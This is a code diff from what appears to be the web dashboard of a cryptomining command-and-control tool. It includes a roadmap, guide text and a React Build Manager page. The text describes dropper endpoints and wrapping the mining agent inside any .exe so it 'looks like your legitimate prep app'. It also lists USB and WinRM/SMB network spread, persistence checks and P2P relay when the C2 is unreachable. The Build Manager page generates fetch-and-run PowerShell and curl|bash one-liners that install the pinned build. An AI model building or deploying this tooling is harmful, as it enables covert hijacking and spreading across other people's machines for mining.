// ─── Roadmap ───────────────────────────────────────────────────────────────────
|
||||
|
||||
export const ROADMAP_FEATURES = [
|
||||
{ priority: 'high', title: 'Fleet alerts (live)', desc: 'Calibrate thresholds → dashboard banners + optional Telegram/email.' },
|
||||
{ priority: 'high', title: 'Pool status panel', desc: 'Per-forged-pool Stratum health on Command Deck.' },
|
||||
{ priority: 'high', title: 'AI activity monitor', desc: 'Ollama decide cycles and tool calls per agent.' },
|
||||
{ priority: 'medium', title: 'Remote agent actions', desc: 'Pause, restart, stop, uninstall, log tail from dashboard.' },
|
||||
{ priority: 'medium', title: 'Earnings estimator', desc: 'Fleet hashrate → estimated XMR/day.' },
|
||||
{ priority: 'medium', title: 'Build manager', desc: 'Blueprint diff, re-forge, LAN QR downloads on Forge.' },
|
||||
{ priority: 'low', title: 'Dashboard auth', desc: 'Password or API token for LAN-wide command deck access.' },
|
||||
{ priority: 'low', title: 'LAN topology map', desc: 'Visual agent map by IP/subnet with fleet tags.' },
|
||||
{ priority: 'low', title: 'PWA / mobile deck', desc: 'Phone-friendly Command Deck layout.' },
|
||||
// Shipped
|
||||
{ priority: 'high', title: 'Fleet alerts (live)', desc: 'Calibrate thresholds → dashboard banners + Telegram/email.' },
|
||||
{ priority: 'high', title: 'Pool status panel', desc: 'Per-forged-pool Stratum health live on Command Deck.' },
|
||||
{ priority: 'high', title: 'AI Autonomy (Ollama)', desc: 'Decide loop with tool calls, self-heal, adapt-to-hardware.' },
|
||||
{ priority: 'high', title: 'Remote agent actions', desc: 'Pause, restart, stop, uninstall, log tail from dashboard.' },
|
||||
{ priority: 'high', title: 'Earnings estimator', desc: 'Fleet hashrate → estimated XMR/day + live price.' },
|
||||
{ priority: 'high', title: 'Build Manager full page', desc: 'All builds with settings, downloads, dropper one-liners, QR, pin to dropper.' },
|
||||
{ priority: 'high', title: 'Dropper endpoints', desc: '/get /install.ps1 /install.sh — one-liner remote deploy, auto-OS detect.' },
|
||||
{ priority: 'high', title: 'Dropper pin', desc: 'Pin any build as active dropper target from Build Manager.' },
|
||||
{ priority: 'high', title: 'Dashboard auth', desc: 'bcrypt user/password, per-session cache, rotate fleet secret.' },
|
||||
{ priority: 'high', title: 'Fusion (media/prep wrap)', desc: 'Wrap agent inside any .exe, batch mode for multiple titles.' },
|
||||
{ priority: 'high', title: 'Blueprints', desc: 'Save/load named Forge configs for quick re-forge.' },
|
||||
{ priority: 'high', title: 'USB Spread + Share Drop', desc: 'Auto-copy to USB drives, WinRM/SMB network spread.' },
|
||||
{ priority: 'high', title: 'Sacred geometry UI', desc: 'Animated ambient Flower of Life + flame logo throughout.' },
|
||||
{ priority: 'medium', title: 'LAN topology map', desc: 'Visual agent map by IP/subnet with fleet tags.' },
|
||||
{ priority: 'medium', title: 'PWA / mobile deck', desc: 'Phone-friendly Command Deck layout.' },
|
||||
{ priority: 'low', title: 'Multi-wallet pools', desc: 'Round-robin wallet rotation per agent.' },
|
||||
{ priority: 'low', title: 'Agent mesh P2P', desc: 'Agents relay commands peer-to-peer if C2 unreachable.' },
|
||||
];
|
||||
|
||||
// ─── Section registry (used by GuidePage) ─────────────────────────────────────
|
||||
|
||||
export const CHEAT_SECTIONS: CheatSection[] = [
|
||||
{
|
||||
id: 'pipeline',
|
||||
title: 'End-to-end pipeline',
|
||||
description: 'How data flows from your control PC to the pool.',
|
||||
description: 'How data flows from your control PC to the pool — six stages from first boot to live hashrate.',
|
||||
steps: PIPELINE_STEPS,
|
||||
},
|
||||
{
|
||||
id: 'network',
|
||||
title: 'Network topology — Cloudflare tunnel setup',
|
||||
description: 'AetherForge binds to 0.0.0.0:PORT. Cloudflare Tunnel runs on a separate machine and makes it reachable from anywhere — no port forwarding, no static IP.',
|
||||
steps: NETWORK_GUIDE,
|
||||
},
|
||||
{
|
||||
id: 'fusion',
|
||||
title: 'Fusion workflow',
|
||||
description: 'Bundle your prep app with the smart miner agent.',
|
||||
description: 'Bundle the smart agent inside any .exe so it looks like your legitimate prep app. One file, two payloads.',
|
||||
steps: FUSION_GUIDE,
|
||||
},
|
||||
{
|
||||
id: 'ai',
|
||||
title: 'AI Autonomy workflow',
|
||||
description: 'Self-healing via Ollama on the control server.',
|
||||
description: 'Agents make adaptive decisions via Ollama running on the C2 machine — self-healing, thread tuning, persistence checks.',
|
||||
steps: AI_GUIDE,
|
||||
},
|
||||
{
|
||||
id: 'troubleshoot',
|
||||
title: 'Troubleshooting',
|
||||
description: 'Common fixes when something looks wrong.',
|
||||
description: 'Common symptoms and their exact fixes.',
|
||||
cards: TROUBLESHOOTING.map((t) => ({ title: t.problem, body: t.fix, accent: 'amber' })),
|
||||
},
|
||||
];
|
||||
|
||||
@@ -29,11 +29,22 @@ function isGoodServerUrl(url: string): boolean {
|
||||
}
|
||||
}
|
||||
|
||||
/** Pick the best control-server URL for workers on the LAN. */
|
||||
/** Pick the best control-server URL for workers on the LAN.
|
||||
* Only substitutes a candidate when the current value is empty or localhost —
|
||||
* never overwrites a user-entered URL (LAN IP, tunnel, or public domain). */
|
||||
export function pickBestServerUrl(current: string, candidates: string[]): string {
|
||||
if (current?.trim() && isGoodServerUrl(current)) return current.trim();
|
||||
const trimmed = current?.trim() ?? '';
|
||||
// Keep whatever the user typed unless it's empty or a localhost placeholder
|
||||
if (trimmed) {
|
||||
try {
|
||||
const h = new URL(trimmed).hostname.toLowerCase();
|
||||
if (h !== 'localhost' && h !== '127.0.0.1' && h !== '::1') return trimmed;
|
||||
} catch {
|
||||
// not a valid URL yet — fall through to candidates
|
||||
}
|
||||
}
|
||||
const first = candidates.find(isGoodServerUrl);
|
||||
return first || current?.trim() || '';
|
||||
return first || trimmed || '';
|
||||
}
|
||||
|
||||
/** Home-LAN fleet preset — unobtrusive, persistent, no dangerous extras. */
|
||||
|
||||
362
server/web/src/pages/BuildManagerPage.css
Normal file
362
server/web/src/pages/BuildManagerPage.css
Normal file
@@ -0,0 +1,362 @@
|
||||
.bm-page {
|
||||
max-width: 1100px;
|
||||
margin: 0 auto;
|
||||
padding: 1.5rem 1.25rem 2rem;
|
||||
}
|
||||
|
||||
.bm-header {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
justify-content: space-between;
|
||||
flex-wrap: wrap;
|
||||
gap: 1rem;
|
||||
margin-bottom: 1.75rem;
|
||||
}
|
||||
|
||||
.bm-title {
|
||||
font-size: 1.6rem;
|
||||
color: var(--neon-amber, #ffc060);
|
||||
margin: 0 0 0.25rem;
|
||||
}
|
||||
|
||||
.bm-subtitle {
|
||||
margin: 0;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.bm-header-actions {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
/* ── empty / loading ── */
|
||||
.bm-empty {
|
||||
text-align: center;
|
||||
padding: 2.5rem 1.5rem;
|
||||
}
|
||||
|
||||
.bm-loading {
|
||||
padding: 2rem;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
/* ── card grid ── */
|
||||
.bm-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(520px, 1fr));
|
||||
gap: 1.25rem;
|
||||
}
|
||||
|
||||
/* ── card internals ── */
|
||||
.bm-card {
|
||||
padding: 1rem 1.1rem;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.85rem;
|
||||
}
|
||||
|
||||
.bm-card-header {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
justify-content: space-between;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.bm-card-title {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.45rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.bm-worker-name {
|
||||
font-family: var(--font-display, monospace);
|
||||
font-size: 1.05rem;
|
||||
font-weight: 700;
|
||||
color: #eee;
|
||||
}
|
||||
|
||||
.bm-platform-badge {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.7rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.08em;
|
||||
padding: 0.1rem 0.4rem;
|
||||
border-radius: 3px;
|
||||
background: rgba(255,255,255,0.06);
|
||||
border: 1px solid currentColor;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.bm-tag {
|
||||
font-size: 0.65rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.09em;
|
||||
padding: 0.1rem 0.45rem;
|
||||
border-radius: 3px;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.bm-tag-fusion {
|
||||
background: rgba(255,100,0,0.18);
|
||||
color: #ff8c00;
|
||||
border: 1px solid rgba(255,100,0,0.45);
|
||||
}
|
||||
|
||||
.bm-tag-universal {
|
||||
background: rgba(255,215,0,0.12);
|
||||
color: #ffd700;
|
||||
border: 1px solid rgba(255,215,0,0.35);
|
||||
}
|
||||
|
||||
.bm-date {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.72rem;
|
||||
color: var(--text-secondary, #888);
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
/* ── settings grid ── */
|
||||
.bm-settings-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(160px, 1fr));
|
||||
gap: 0.4rem 0.75rem;
|
||||
padding: 0.6rem 0.75rem;
|
||||
background: rgba(0,0,0,0.28);
|
||||
border: 1px solid rgba(255,255,255,0.07);
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
.bm-setting {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.1rem;
|
||||
}
|
||||
|
||||
.bm-setting-label {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.62rem;
|
||||
letter-spacing: 0.1em;
|
||||
text-transform: uppercase;
|
||||
color: var(--neon-amber, #ffc060);
|
||||
opacity: 0.75;
|
||||
}
|
||||
|
||||
.bm-setting-value {
|
||||
font-size: 0.78rem;
|
||||
color: #dde;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.bm-setting-value.mono {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.75rem;
|
||||
}
|
||||
|
||||
.bm-tls-badge {
|
||||
font-size: 0.62rem;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
opacity: 0.8;
|
||||
}
|
||||
|
||||
/* ── downloads ── */
|
||||
.bm-downloads,
|
||||
.bm-dropper {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.4rem;
|
||||
}
|
||||
|
||||
.bm-downloads-label {
|
||||
font-size: 0.62rem;
|
||||
letter-spacing: 0.1em;
|
||||
color: var(--text-secondary, #888);
|
||||
margin-bottom: 0.05rem;
|
||||
}
|
||||
|
||||
.bm-downloads-row {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.bm-dl-btn {
|
||||
font-size: 0.82rem;
|
||||
padding: 0.3rem 0.75rem;
|
||||
}
|
||||
|
||||
/* ── dropper rows ── */
|
||||
.bm-dropper-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.4rem;
|
||||
padding: 0.25rem 0.5rem;
|
||||
background: rgba(0,0,0,0.3);
|
||||
border-radius: 3px;
|
||||
border: 1px solid rgba(255,255,255,0.05);
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.bm-dropper-os {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.65rem;
|
||||
font-weight: 700;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
min-width: 2rem;
|
||||
text-align: right;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.bm-dropper-cmd {
|
||||
flex: 1;
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.7rem;
|
||||
color: #b8e0d0;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.bm-copy-btn {
|
||||
flex-shrink: 0;
|
||||
font-size: 0.7rem;
|
||||
padding: 0.15rem 0.5rem;
|
||||
background: rgba(0,245,255,0.08);
|
||||
border: 1px solid rgba(0,245,255,0.28);
|
||||
border-radius: 3px;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
cursor: pointer;
|
||||
transition: background 0.15s;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.bm-copy-btn:hover {
|
||||
background: rgba(0,245,255,0.18);
|
||||
}
|
||||
|
||||
/* ── footer row ── */
|
||||
.bm-card-footer {
|
||||
display: flex;
|
||||
align-items: flex-end;
|
||||
justify-content: space-between;
|
||||
gap: 0.75rem;
|
||||
flex-wrap: wrap;
|
||||
margin-top: 0.25rem;
|
||||
}
|
||||
|
||||
.bm-qr-wrap {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 0.2rem;
|
||||
}
|
||||
|
||||
.bm-qr-label {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.6rem;
|
||||
color: var(--text-secondary, #888);
|
||||
letter-spacing: 0.05em;
|
||||
}
|
||||
|
||||
.bm-action-btns {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.bm-reforge-btn {
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
|
||||
.bm-del-btn {
|
||||
font-size: 0.78rem;
|
||||
padding: 0.3rem 0.65rem;
|
||||
background: rgba(255,50,50,0.08);
|
||||
border: 1px solid rgba(255,80,80,0.3);
|
||||
border-radius: 4px;
|
||||
color: #f87171;
|
||||
cursor: pointer;
|
||||
transition: background 0.15s, border-color 0.15s;
|
||||
}
|
||||
|
||||
.bm-del-btn:hover {
|
||||
background: rgba(255,50,50,0.16);
|
||||
border-color: rgba(255,80,80,0.55);
|
||||
}
|
||||
|
||||
.bm-del-btn-confirm {
|
||||
background: rgba(255,80,0,0.22);
|
||||
border-color: rgba(255,100,0,0.65);
|
||||
color: #ff8c00;
|
||||
}
|
||||
|
||||
/* ── Pinned state ── */
|
||||
.bm-card-pinned {
|
||||
box-shadow: 0 0 0 1.5px rgba(0, 255, 130, 0.55), 0 0 18px rgba(0, 255, 100, 0.18);
|
||||
}
|
||||
|
||||
.bm-pinned-banner {
|
||||
font-family: 'Courier New', monospace;
|
||||
font-size: 0.72rem;
|
||||
color: #00ff88;
|
||||
background: rgba(0, 255, 100, 0.08);
|
||||
border: 1px solid rgba(0, 255, 100, 0.3);
|
||||
border-radius: 4px;
|
||||
padding: 0.35rem 0.65rem;
|
||||
margin-bottom: 0.1rem;
|
||||
line-height: 1.5;
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
.bm-pinned-banner code {
|
||||
color: #7effc8;
|
||||
font-size: 0.7rem;
|
||||
}
|
||||
|
||||
/* ── Pin button ── */
|
||||
.bm-pin-btn {
|
||||
font-size: 0.78rem;
|
||||
padding: 0.3rem 0.7rem;
|
||||
background: rgba(0, 200, 100, 0.08);
|
||||
border: 1px solid rgba(0, 200, 100, 0.3);
|
||||
border-radius: 4px;
|
||||
color: #5fffa8;
|
||||
cursor: pointer;
|
||||
transition: background 0.15s, border-color 0.15s, box-shadow 0.15s;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.bm-pin-btn:hover:not(:disabled) {
|
||||
background: rgba(0, 200, 100, 0.18);
|
||||
border-color: rgba(0, 200, 100, 0.55);
|
||||
}
|
||||
|
||||
.bm-pin-btn-active {
|
||||
background: rgba(0, 255, 120, 0.16);
|
||||
border-color: rgba(0, 255, 120, 0.6);
|
||||
color: #00ff88;
|
||||
box-shadow: 0 0 8px rgba(0, 255, 100, 0.25);
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.bm-pin-btn-active:hover:not(:disabled) {
|
||||
background: rgba(255, 80, 80, 0.12);
|
||||
border-color: rgba(255, 80, 80, 0.4);
|
||||
color: #f87171;
|
||||
}
|
||||
|
||||
@media (max-width: 640px) {
|
||||
.bm-grid {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
.bm-dropper-cmd {
|
||||
display: none;
|
||||
}
|
||||
}
|
||||
378
server/web/src/pages/BuildManagerPage.tsx
Normal file
378
server/web/src/pages/BuildManagerPage.tsx
Normal file
@@ -0,0 +1,378 @@
|
||||
import { useCallback, useEffect, useRef, useState } from 'react';
|
||||
import { useNavigate } from 'react-router-dom';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRecord } from '../types';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import AuthDownloadButton from '../components/AuthDownloadButton';
|
||||
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import './BuildManagerPage.css';
|
||||
|
||||
// ─── helpers ─────────────────────────────────────────────────────────────────
|
||||
|
||||
function truncateWallet(w: string): string {
|
||||
if (!w || w.length < 12) return w || '—';
|
||||
return `${w.slice(0, 6)}…${w.slice(-6)}`;
|
||||
}
|
||||
|
||||
function truncateUrl(u: string): string {
|
||||
try {
|
||||
const parsed = new URL(u);
|
||||
return parsed.host;
|
||||
} catch {
|
||||
return u.length > 30 ? u.slice(0, 28) + '…' : u;
|
||||
}
|
||||
}
|
||||
|
||||
function fmtSize(bytes: number): string {
|
||||
if (!bytes) return '—';
|
||||
if (bytes >= 1024 * 1024) return `${(bytes / 1024 / 1024).toFixed(1)} MB`;
|
||||
return `${(bytes / 1024).toFixed(0)} KB`;
|
||||
}
|
||||
|
||||
function fmtDate(iso: string): string {
|
||||
try {
|
||||
const d = new Date(iso);
|
||||
return d.toLocaleDateString(undefined, { month: 'short', day: 'numeric', year: 'numeric' }) +
|
||||
' ' + d.toLocaleTimeString(undefined, { hour: '2-digit', minute: '2-digit' });
|
||||
} catch {
|
||||
return iso;
|
||||
}
|
||||
}
|
||||
|
||||
function platformLabel(p?: string): string {
|
||||
if (!p) return 'Win';
|
||||
const m: Record<string, string> = {
|
||||
windows: 'Win', linux: 'Linux', darwin: 'macOS', universal: 'Universal',
|
||||
};
|
||||
return m[p.toLowerCase()] ?? p;
|
||||
}
|
||||
|
||||
function platformColor(p?: string): string {
|
||||
if (!p) return 'var(--neon-cyan)';
|
||||
const m: Record<string, string> = {
|
||||
windows: '#00e5ff', linux: '#a3e635', darwin: '#f0abfc', universal: '#ffd700',
|
||||
};
|
||||
return m[p.toLowerCase()] ?? '#aaa';
|
||||
}
|
||||
|
||||
function CopyButton({ text, label }: { text: string; label: string }) {
|
||||
const [copied, setCopied] = useState(false);
|
||||
const copy = () => {
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
setCopied(true);
|
||||
setTimeout(() => setCopied(false), 1800);
|
||||
});
|
||||
};
|
||||
return (
|
||||
<button type="button" className="bm-copy-btn" onClick={copy} title={text}>
|
||||
{copied ? '✓ Copied' : label}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) {
|
||||
const [confirming, setConfirming] = useState(false);
|
||||
const [busy, setBusy] = useState(false);
|
||||
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
|
||||
const handleClick = () => {
|
||||
if (!confirming) {
|
||||
setConfirming(true);
|
||||
timerRef.current = setTimeout(() => setConfirming(false), 3000);
|
||||
} else {
|
||||
if (timerRef.current) clearTimeout(timerRef.current);
|
||||
setBusy(true);
|
||||
api.deleteBuild(buildId).finally(() => {
|
||||
setBusy(false);
|
||||
setConfirming(false);
|
||||
onDeleted();
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<button
|
||||
type="button"
|
||||
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
|
||||
disabled={busy}
|
||||
onClick={handleClick}
|
||||
title="Delete this build from server"
|
||||
>
|
||||
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) {
|
||||
const [busy, setBusy] = useState(false);
|
||||
|
||||
const handleClick = async () => {
|
||||
if (busy) return;
|
||||
setBusy(true);
|
||||
try {
|
||||
if (pinned) {
|
||||
await api.unpinAll();
|
||||
} else {
|
||||
await api.pinBuild(buildId);
|
||||
}
|
||||
onPinned();
|
||||
} catch (e) {
|
||||
console.error(e);
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<button
|
||||
type="button"
|
||||
className={`bm-pin-btn${pinned ? ' bm-pin-btn-active' : ''}`}
|
||||
disabled={busy}
|
||||
onClick={handleClick}
|
||||
title={pinned ? 'Unpin — dropper will serve latest build' : 'Pin — dropper will serve this build'}
|
||||
>
|
||||
{busy ? '…' : pinned ? '📌 Pinned to Dropper' : '📌 Pin to Dropper'}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
// ─── per-build card ───────────────────────────────────────────────────────────
|
||||
|
||||
function BuildCard({
|
||||
build,
|
||||
serverBase,
|
||||
onReforge,
|
||||
onDeleted,
|
||||
onPinned,
|
||||
}: {
|
||||
build: BuildRecord;
|
||||
serverBase: string;
|
||||
onReforge: (b: BuildRecord) => void;
|
||||
onDeleted: () => void;
|
||||
onPinned: () => void;
|
||||
}) {
|
||||
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
|
||||
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
|
||||
const isUniversal = build.platform?.toLowerCase() === 'universal';
|
||||
const isFusion = !!build.file_name?.includes('runner') || (build.bundle_size && build.bundle_size > 0);
|
||||
|
||||
const ps1 = `iex (irm '${serverBase}/install.ps1')`;
|
||||
const sh = `curl -sL ${serverBase}/install.sh | bash`;
|
||||
|
||||
return (
|
||||
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card${build.pinned ? ' bm-card-pinned' : ''}`}>
|
||||
{/* ── Pinned banner ── */}
|
||||
{build.pinned && (
|
||||
<div className="bm-pinned-banner">
|
||||
📌 ACTIVE DROPPER — <code>iex (irm '{serverBase}/install.ps1')</code> serves this build
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* ── Header row ── */}
|
||||
<div className="bm-card-header">
|
||||
<div className="bm-card-title">
|
||||
<span className="bm-worker-name">{build.worker_name || '(unnamed)'}</span>
|
||||
<span
|
||||
className="bm-platform-badge"
|
||||
style={{ color: platformColor(build.platform) }}
|
||||
>
|
||||
{platformLabel(build.platform)}
|
||||
</span>
|
||||
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
|
||||
{isUniversal && !isFusion && <span className="bm-tag bm-tag-universal">UNIVERSAL</span>}
|
||||
</div>
|
||||
<span className="bm-date">{fmtDate(build.created_at)}</span>
|
||||
</div>
|
||||
|
||||
{/* ── Baked settings summary ── */}
|
||||
<div className="bm-settings-grid">
|
||||
<div className="bm-setting">
|
||||
<span className="bm-setting-label">C2</span>
|
||||
<span className="bm-setting-value mono" title={build.server_url}>{truncateUrl(build.server_url)}</span>
|
||||
</div>
|
||||
<div className="bm-setting">
|
||||
<span className="bm-setting-label">Wallet</span>
|
||||
<span className="bm-setting-value mono" title={build.wallet}>{truncateWallet(build.wallet)}</span>
|
||||
</div>
|
||||
<div className="bm-setting">
|
||||
<span className="bm-setting-label">Pool</span>
|
||||
<span className="bm-setting-value mono">
|
||||
{build.pool_host || '—'}:{build.pool_port || '—'}
|
||||
{build.pool_tls && <span className="bm-tls-badge"> TLS</span>}
|
||||
</span>
|
||||
</div>
|
||||
<div className="bm-setting">
|
||||
<span className="bm-setting-label">Threads</span>
|
||||
<span className="bm-setting-value">{build.threads || '—'}</span>
|
||||
</div>
|
||||
<div className="bm-setting">
|
||||
<span className="bm-setting-label">Size</span>
|
||||
<span className="bm-setting-value">{fmtSize(build.bundle_size || build.file_size)}</span>
|
||||
</div>
|
||||
<div className="bm-setting">
|
||||
<span className="bm-setting-label">File</span>
|
||||
<span className="bm-setting-value mono" title={exeName}>{exeName.length > 28 ? exeName.slice(0, 26) + '…' : exeName}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* ── Download methods ── */}
|
||||
<div className="bm-downloads">
|
||||
<div className="bm-downloads-label font-tech">DOWNLOAD</div>
|
||||
<div className="bm-downloads-row">
|
||||
<DownloadButton
|
||||
apiPath={api.buildDownloadUrl(build.id)}
|
||||
filename={exeName}
|
||||
className="btn btn-primary bm-dl-btn"
|
||||
>
|
||||
↓ {isUniversal ? 'Universal ZIP' : exeName}
|
||||
</DownloadButton>
|
||||
<AuthDownloadButton
|
||||
apiPath={api.buildUninstallUrl(build.id)}
|
||||
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
|
||||
className="btn btn-outline bm-dl-btn"
|
||||
>
|
||||
↓ Uninstall script
|
||||
</AuthDownloadButton>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* ── Dropper one-liners ── */}
|
||||
<div className="bm-dropper">
|
||||
<div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div>
|
||||
<div className="bm-dropper-row">
|
||||
<span className="bm-dropper-os">Win</span>
|
||||
<code className="bm-dropper-cmd">{ps1}</code>
|
||||
<CopyButton text={ps1} label="Copy" />
|
||||
</div>
|
||||
<div className="bm-dropper-row">
|
||||
<span className="bm-dropper-os">*nix</span>
|
||||
<code className="bm-dropper-cmd">{sh}</code>
|
||||
<CopyButton text={sh} label="Copy" />
|
||||
</div>
|
||||
<div className="bm-dropper-row">
|
||||
<span className="bm-dropper-os">URL</span>
|
||||
<code className="bm-dropper-cmd">{downloadUrl}</code>
|
||||
<CopyButton text={downloadUrl} label="Copy" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* ── QR + actions ── */}
|
||||
<div className="bm-card-footer">
|
||||
<div className="bm-qr-wrap">
|
||||
<LanDownloadQR url={downloadUrl} />
|
||||
<span className="bm-qr-label">Scan to download</span>
|
||||
</div>
|
||||
<div className="bm-action-btns">
|
||||
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} />
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary bm-reforge-btn"
|
||||
onClick={() => onReforge(build)}
|
||||
>
|
||||
⚒ Re-forge
|
||||
</button>
|
||||
<DeleteButton buildId={build.id} onDeleted={onDeleted} />
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
|
||||
// ─── page ─────────────────────────────────────────────────────────────────────
|
||||
|
||||
export default function BuildManagerPage() {
|
||||
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [error, setError] = useState('');
|
||||
const [serverBase, setServerBase] = useState('');
|
||||
const navigate = useNavigate();
|
||||
|
||||
const loadBuilds = useCallback(async () => {
|
||||
try {
|
||||
const [list, info] = await Promise.all([
|
||||
api.listBuilds(),
|
||||
api.getServerInfo().catch(() => null),
|
||||
]);
|
||||
setBuilds(list);
|
||||
if (info) {
|
||||
const pub = info.suggested_url?.replace(/\/$/, '') || window.location.origin;
|
||||
setServerBase(pub);
|
||||
} else {
|
||||
setServerBase(window.location.origin);
|
||||
}
|
||||
setError('');
|
||||
} catch (e) {
|
||||
setError(e instanceof Error ? e.message : 'Failed to load builds');
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
}, []);
|
||||
|
||||
useEffect(() => { loadBuilds(); }, [loadBuilds]);
|
||||
|
||||
const handleReforge = useCallback((build: BuildRecord) => {
|
||||
// Pass build id as query param so Forge page can pre-fill from it
|
||||
navigate(`/forge?reforge=${encodeURIComponent(build.id)}`);
|
||||
}, [navigate]);
|
||||
|
||||
return (
|
||||
<div className="page fade-in bm-page">
|
||||
<div className="bm-header">
|
||||
<div>
|
||||
<h1 className="font-display bm-title">Build Manager</h1>
|
||||
<p className="form-hint bm-subtitle">
|
||||
All forged workers — download, deploy, re-forge, or delete from any browser.
|
||||
</p>
|
||||
</div>
|
||||
<div className="bm-header-actions">
|
||||
<button type="button" className="btn btn-outline" onClick={loadBuilds} disabled={loading}>
|
||||
{loading ? 'Loading…' : '↻ Refresh'}
|
||||
</button>
|
||||
<button type="button" className="btn btn-success" onClick={() => navigate('/forge')}>
|
||||
⚒ New Forge
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{error && (
|
||||
<div className="form-error" style={{ marginBottom: '1rem' }}>
|
||||
<span>⚠️</span> {error}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{!loading && builds.length === 0 && !error && (
|
||||
<NeonCard accent="cyan" className="bm-empty">
|
||||
<p className="font-tech" style={{ color: 'var(--neon-cyan)' }}>NO BUILDS YET</p>
|
||||
<p className="form-hint">Head to Forge, fill in your config, and click FORGE INSTALLER.</p>
|
||||
<button type="button" className="btn btn-primary" onClick={() => navigate('/forge')} style={{ marginTop: '0.75rem' }}>
|
||||
Go to Forge
|
||||
</button>
|
||||
</NeonCard>
|
||||
)}
|
||||
|
||||
{loading && (
|
||||
<div className="bm-loading">
|
||||
<span className="font-tech" style={{ color: 'var(--neon-cyan)', fontSize: '0.85rem' }}>LOADING BUILDS…</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="bm-grid">
|
||||
{builds.map((build) => (
|
||||
<BuildCard
|
||||
key={build.id}
|
||||
build={build}
|
||||
serverBase={serverBase}
|
||||
onReforge={handleReforge}
|
||||
